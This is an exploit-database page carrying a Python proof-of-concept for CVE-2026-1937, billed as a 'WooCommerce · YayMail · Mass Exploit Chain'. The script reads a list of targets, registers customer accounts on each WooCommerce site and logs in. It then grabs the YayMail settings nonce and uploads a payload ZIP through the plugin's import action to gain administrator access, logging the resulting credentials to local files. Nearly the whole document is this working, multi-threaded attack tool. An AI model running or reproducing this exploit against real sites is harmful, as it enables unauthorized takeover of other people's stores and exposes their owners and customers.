5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-1937.py PY
#!/usr/bin/env python3
# By: Nxploited (@Kxploit)

import os
import sys
import time
from datetime import datetime
from typing import Optional, Dict, List
from urllib.parse import urlparse, urljoin

import re
import json as _json
import random
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.align import Align
from rich.text import Text
from rich import box

requests.packages.urllib3.disable_warnings()
console = Console()

REG_RESULTS_FILE = "reg.txt"
ADMIN_RESULTS_FILE = "Nx_admin.txt"
YAYMAIL_ZIP = "yaymail_backup.zip"

UA_POOL = [
    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]


def get_random_ua() -> str:
    return random.choice(UA_POOL)


def normalize_url(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"


def new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.timeout = timeout
    return s


def banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")

    ascii_lines = [
        "  _      _   _   _  _   _        _  _  __ ",
        " / \\  / |_ __ ) / \\  ) |_ __ /| (_| _)  / ",
        " \\_ \\/  |_   /_ \\_/ /_ |_)    |   | _) /  ",
        "                                          ",
    ]
    ascii_text = "\n".join(ascii_lines)

    title = Text("WooCommerce · YayMail · Mass Exploit Chain", style="bold cyan")
    author = Text("By: Nxploited  |  GitHub: github.com/Nxploited  |  Telegram: @Kxploit", style="bold white")

    body = Align.center(
        Text(ascii_text, style="bold magenta")
        + Text("\n")
        + title
        + Text("\n")
        + author,
        vertical="middle",
    )

    panel = Panel(
        body,
        border_style="magenta",
        box=box.HEAVY,
        padding=(1, 4),
    )
    console.print(panel)


def live_status(target: str, label: str, color: str, note: str = "") -> None:
    tag = Text(f"[{label}]", style=color + " bold")
    host = Text(f" {target}", style="white")
    t = tag + host
    if note:
        t += Text(f"  ::  {note}", style="bright_black")
    console.print(t)


def write_reg_result(base: str, username: str, email: str, password: str) -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base} user:{username} email:{email} pass:{password}\n"
    try:
        with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def write_admin_result(base: str, username: str, password: str, note: str = "") -> None:
    ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S")
    line = f"[{ts}] {base} user:{username} pass:{password}"
    if note:
        line += f" | {note}"
    line += "\n"
    try:
        with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f:
            f.write(line)
    except Exception:
        pass


def fetch_woo_account_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]:
    root = base.rstrip("/")
    paths = [
        "/my-account/",
        "/my_account/",
        "/My-account/",
        "/account/",
        "/myaccount/",
        "/customer-login/",
        "/login/",
        "/register/",
        "/sss/",
    ]
    htmls: Dict[str, str] = {}
    for p in paths:
        url = root + p
        try:
            r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()})
            if r.status_code == 200 and "<form" in r.text.lower():
                htmls[url] = r.text
        except Exception:
            continue
    return htmls


def extract_woo_register_form(html: str) -> Optional[Dict[str, str]]:
    if "woocommerce-register-nonce" not in html and "register" not in html.lower():
        return None

    nonce_match = re.search(
        r'name=["\']woocommerce-register-nonce["\']\s+value=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if not nonce_match:
        return None
    nonce_value = nonce_match.group(1)

    form_match = re.search(
        r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
        html,
        re.IGNORECASE,
    )
    action = form_match.group(1) if form_match else ""

    email_name = "email"
    password_name = "password"
    username_name = None

    email_input = re.search(
        r'<input[^>]+type=["\']email["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if email_input:
        email_name = email_input.group(1)

    pass_input = re.search(
        r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if pass_input:
        password_name = pass_input.group(1)

    user_input = re.search(
        r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
        html,
        re.IGNORECASE,
    )
    if user_input:
        mname = re.search(r'name=["\']([^"\']+)["\']', user_input.group(0), re.IGNORECASE)
        if mname:
            username_name = mname.group(1)

    return {
        "action": action,
        "register_nonce": nonce_value,
        "email_name": email_name,
        "password_name": password_name,
        "username_name": username_name,
    }


def extract_woo_login_form(html: str) -> Optional[Dict[str, str]]:
    if "woocommerce-login-nonce" not in html and "login" not in html.lower():
        return None

    nonce_match = re.search(
        r'name=["\']woocommerce-login-nonce["\']\s+value=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if not nonce_match:
        return None
    nonce_value = nonce_match.group(1)

    form_match = re.search(
        r'<form[^>]+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>',
        html,
        re.IGNORECASE,
    )
    action = form_match.group(1) if form_match else ""

    user_name = "username"
    password_name = "password"

    u_input = re.search(
        r'<input[^>]+(name=["\']username["\']|id=["\']username["\'])[^>]*>',
        html,
        re.IGNORECASE,
    )
    if u_input:
        mname = re.search(r'name=["\']([^"\']+)["\']', u_input.group(0), re.IGNORECASE)
        if mname:
            user_name = mname.group(1)

    pass_input = re.search(
        r'<input[^>]+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
        html,
        re.IGNORECASE,
    )
    if pass_input:
        password_name = pass_input.group(1)

    return {
        "action": action,
        "login_nonce": nonce_value,
        "username_name": user_name,
        "password_name": password_name,
    }


def woo_register(session: requests.Session, base: str, timeout: int, username: str, email: str, password: str) -> Optional[Dict[str, str]]:
    root = base.rstrip("/")
    pages = fetch_woo_account_pages(session, base, timeout)
    if not pages:
        return None

    for url, html in pages.items():
        reg = extract_woo_register_form(html)
        if not reg:
            continue

        target_action = reg["action"] or url
        if target_action.startswith("http"):
            post_url = target_action
        else:
            post_url = urljoin(root + "/", target_action.lstrip("/"))

        data = {
            reg["email_name"]: email,
            reg["password_name"]: password,
            "woocommerce-register-nonce": reg["register_nonce"],
            "_wp_http_referer": urlparse(url).path,
            "register": "Register",
        }

        if reg["username_name"]:
            data[reg["username_name"]] = username

        headers = {
            "User-Agent": get_random_ua(),
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": url,
        }
        try:
            r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
        except Exception:
            continue

        if r.status_code in (302, 303):
            return {"username": username, "email": email, "password": password}
        if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
            return {"username": username, "email": email, "password": password}

    return None


def woo_login(session: requests.Session, base: str, timeout: int, username_or_email: str, password: str) -> bool:
    root = base.rstrip("/")
    pages = fetch_woo_account_pages(session, base, timeout)
    if not pages:
        return False

    for url, html in pages.items():
        login = extract_woo_login_form(html)
        if not login:
            continue

        target_action = login["action"] or url
        if target_action.startswith("http"):
            post_url = target_action
        else:
            post_url = urljoin(root + "/", target_action.lstrip("/"))

        data = {
            login["username_name"]: username_or_email,
            login["password_name"]: password,
            "woocommerce-login-nonce": login["login_nonce"],
            "_wp_http_referer": urlparse(url).path,
            "login": "Log in",
        }

        headers = {
            "User-Agent": get_random_ua(),
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": url,
        }
        try:
            r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False)
        except Exception:
            continue

        if r.status_code in (302, 303):
            return True
        if any(x in r.text.lower() for x in ["logout", "my account", "account details"]):
            return True

    return False


def wp_login(session: requests.Session, base: str, timeout: int, username: str, password: str) -> bool:
    login_url = base.rstrip("/") + "/wp-login.php"
    headers = {"User-Agent": get_random_ua()}
    try:
        session.get(login_url, headers=headers, timeout=timeout, verify=False)
    except Exception:
        pass

    headers = {
        "User-Agent": get_random_ua(),
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": login_url,
        "Cookie": "wordpress_test_cookie=WP Cookie check",
    }
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "testcookie": "1",
    }
    try:
        r = session.post(login_url, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=True)
    except Exception:
        return False

    if "wordpress_logged_in" in r.headers.get("Set-Cookie", ""):
        return True
    if any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
        return True
    if "/wp-admin/" in r.url or "dashboard" in r.text.lower():
        return True

    return False


def verify_admin_access(session: requests.Session, base: str, timeout: int) -> bool:
    admin_urls = [
        base.rstrip("/") + "/wp-admin/",
        base.rstrip("/") + "/wp-admin/index.php",
        base.rstrip("/") + "/wp-admin/users.php",
        base.rstrip("/") + "/wp-admin/plugins.php",
    ]
    indicators = [
        "wp-admin-bar",
        "adminmenu",
        "manage_options",
        "users.php",
        "plugins.php",
    ]
    for au in admin_urls:
        try:
            r = session.get(au, headers={"User-Agent": get_random_ua()}, timeout=timeout, verify=False, allow_redirects=False)
        except Exception:
            continue

        if r.status_code in (301, 302) and "wp-login.php" in r.headers.get("Location", ""):
            continue

        if r.status_code == 200:
            lt = r.text.lower()
            if any(ind in lt for ind in indicators):
                return True
    return False


def fetch_yaymail_nonce_and_ajax_url(session: requests.Session, base: str, timeout: int) -> Optional[Dict[str, str]]:
    url = base.rstrip("/") + "/wp-admin/admin.php?page=yaymail-settings#/email-templates"
    headers = {"User-Agent": get_random_ua()}
    try:
        r = session.get(url, headers=headers, timeout=timeout, verify=False)
    except Exception:
        live_status(base, "NONCE-ERROR", "red", "settings request failed")
        return None

    if r.status_code != 200:
        live_status(base, "NONCE-ERROR", "red", f"status {r.status_code}")
        return None

    html = r.text

    m = re.search(
        r'\{"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)"\s*,\s*"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
        html,
        re.IGNORECASE,
    )
    if not m:
        m = re.search(
            r'"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)".{0,300}?"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"',
            html,
            re.IGNORECASE | re.DOTALL,
        )

    if not m:
        live_status(base, "NONCE-NOT-FOUND", "bright_black")
        return None

    ajax_url = m.group(1).replace(r"\/", "/")
    nonce = m.group(2)

    if not ajax_url.startswith("http"):
        ajax_url = urljoin(base.rstrip("/") + "/", ajax_url.lstrip("/"))

    live_status(base, "NONCE-FOUND", "magenta", f"nonce: {nonce}")
    return {"ajax_url": ajax_url, "nonce": nonce}


def yaymail_import_exploit(session: requests.Session, base: str, timeout: int, yay_data: Dict[str, str]) -> bool:
    ajax_url = yay_data["ajax_url"]
    nonce = yay_data["nonce"]

    if not os.path.exists(YAYMAIL_ZIP):
        return False

    headers = {"User-Agent": get_random_ua()}
    with open(YAYMAIL_ZIP, "rb") as f:
        files = {
            "import_file": (os.path.basename(YAYMAIL_ZIP), f, "application/zip"),
        }
        data = {
            "action": "yaymail_import_state",
            "nonce": nonce,
        }
        try:
            r = session.post(ajax_url, headers=headers, data=data, files=files, timeout=timeout, verify=False)
        except Exception:
            return False

    # YayMail success example: {"success":true,"data":{"message":"Import state successfully"}}
    try:
        j = r.json()
        if j.get("success") is True and "import state successfully" in str(j.get("data", {}).get("message", "")).lower():
            return True
    except Exception:
        pass

    if r.status_code == 200 and "import state successfully" in r.text.lower():
        return True

    return False


def handle_site(site: str, timeout: int, _: int, username_fixed: str, password_fixed: str, email_fixed: str) -> Dict[str, str]:
    base = normalize_url(site)
    sess = new_session(timeout)

    row = {
        "target": base,
        "status": "[bright_black]UNKNOWN[/bright_black]",
        "note": "",
    }

    live_status(base, "SCAN", "cyan")

    try:
        username = username_fixed
        email = email_fixed
        password = password_fixed

        reg_info = woo_register(sess, base, timeout, username, email, password)
        if not reg_info:
            row["status"] = "[bright_black]NO-REGISTER[/bright_black]"
            live_status(base, "NO-REGISTER", "bright_black")
            return row

        write_reg_result(base, reg_info["username"], reg_info["email"], reg_info["password"])
        live_status(base, "REGISTERED", "yellow", f"user: {username} pass: {password}")

        logged = False

        if wp_login(sess, base, timeout, reg_info["username"], reg_info["password"]):
            logged = True
            live_status(base, "LOGIN-WP", "cyan", "wp-login.php")

        if not logged:
            if woo_login(sess, base, timeout, reg_info["email"], reg_info["password"]):
                logged = True
                live_status(base, "LOGIN-WOO", "cyan", "woocommerce form")

        if not logged:
            row["status"] = "[bright_black]LOGIN-FAILED[/bright_black]"
            live_status(base, "LOGIN-FAILED", "bright_black")
            return row

        if verify_admin_access(sess, base, timeout):
            row["status"] = "[bold green]EXPLOITED (ADMIN)[/bold green]"
            row["note"] = f"user: {username} pass: {password}"
            write_admin_result(base, reg_info["username"], reg_info["password"], "already admin")
            live_status(base, "SUCCESS", "green", row["note"])
            return row

        live_status(base, "SEARCH-NONCE", "yellow", "not admin, trying YayMail chain")
        yay_data = fetch_yaymail_nonce_and_ajax_url(sess, base, timeout)
        if not yay_data:
            row["status"] = "[yellow]VULNERABLE (YayMail not found / nonce missing)[/yellow]"
            return row

        live_status(base, "EXPLOIT", "yellow", f"nonce: {yay_data['nonce']}")
        ok_exp = yaymail_import_exploit(sess, base, timeout, yay_data)
        if not ok_exp:
            row["status"] = "[red]EXPLOIT-FAILED[/red]"
            live_status(base, "EXPLOIT-FAILED", "red")
            return row

        if verify_admin_access(sess, base, timeout):
            row["status"] = "[bold green]EXPLOITED (ADMIN VERIFIED)[/bold green]"
            row["note"] = f"user: {username} pass: {password}"
            write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import")
            live_status(base, "SUCCESS", "green", row["note"])
        else:
            row["status"] = "[yellow]PARTIAL (import OK, admin not confirmed)[/yellow]"
            row["note"] = f"user: {username} pass: {password}"
            write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import (no admin)")
            live_status(base, "PARTIAL", "yellow", row["note"])

        return row

    except requests.exceptions.Timeout:
        row["status"] = "[bright_black]TIMEOUT[/bright_black]"
        live_status(base, "TIMEOUT", "bright_black")
        return row
    except requests.exceptions.ConnectionError:
        row["status"] = "[bright_black]DEAD[/bright_black]"
        live_status(base, "DEAD", "bright_black")
        return row
    except Exception:
        row["status"] = "[red]ERROR[/red]"
        live_status(base, "ERROR", "red")
        return row


def main() -> None:
    banner()

    username_fixed = console.input("[bold cyan]Username[/bold cyan] [Nx_admin]: ").strip() or "Nx_admin"
    password_fixed = console.input("[bold cyan]Password[/bold cyan] [Nx_adminSA]: ").strip() or "Nx_adminSA"
    email_fixed = console.input("[bold cyan]Email[/bold cyan] [[email protected]]: ").strip() or "[email protected]"

    global REG_PASS
    REG_PASS = password_fixed

    targets_file = console.input("[bold cyan]Targets file[/bold cyan] [list.txt]: ").strip() or "list.txt"
    if not os.path.exists(targets_file):
        console.print("[bold red]Targets file not found.[/bold red]")
        sys.exit(1)

    if not os.path.exists(YAYMAIL_ZIP):
        console.print(f"[bold red]Missing payload file:[/bold red] {YAYMAIL_ZIP}")
        sys.exit(1)

    try:
        threads = int(console.input("[bold cyan]Threads[/bold cyan] [3]: ").strip() or "3")
    except ValueError:
        threads = 3

    try:
        timeout = int(console.input("[bold cyan]HTTP timeout (seconds)[/bold cyan] [10]: ").strip() or "10")
    except ValueError:
        timeout = 10

    targets: List[str] = []
    with open(targets_file, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        console.print("[bold red]Targets file is empty.[/bold red]")
        sys.exit(1)

    console.print()
    console.print(f"[bold white]Loaded {len(targets)} targets.[/bold white]\n")

    start = time.time()
    results: List[Dict[str, str]] = []

    with ThreadPoolExecutor(max_workers=threads) as ex:
        future_to_target = {
            ex.submit(handle_site, t, timeout, 0, username_fixed, password_fixed, email_fixed): t
            for t in targets
        }
        try:
            for future in as_completed(future_to_target):
                res = future.result()
                results.append(res)
        except KeyboardInterrupt:
            ex.shutdown(wait=False, cancel_futures=True)
            console.print("[bold yellow]Interrupted by user. Showing partial results.[/bold yellow]")

    elapsed = time.time() - start

    table = Table(
        title=f"Session Summary  |  {len(results)} targets  |  {elapsed:.2f}s",
        box=box.SIMPLE_HEAVY,
        header_style="bold cyan",
        border_style="magenta",
    )
    table.add_column("Target", style="white", no_wrap=True)
    table.add_column("Status", style="white")
    table.add_column("Credentials / Note", style="bright_black")

    for row in results:
        table.add_row(row["target"], row["status"], row.get("note", ""))

    console.print()
    console.print(table)
    console.print()
    console.print(f"[bold green]Registration log:[/bold green] {REG_RESULTS_FILE}")
    console.print(f"[bold green]Exploit log:[/bold green] {ADMIN_RESULTS_FILE}")


if __name__ == "__main__":
    main()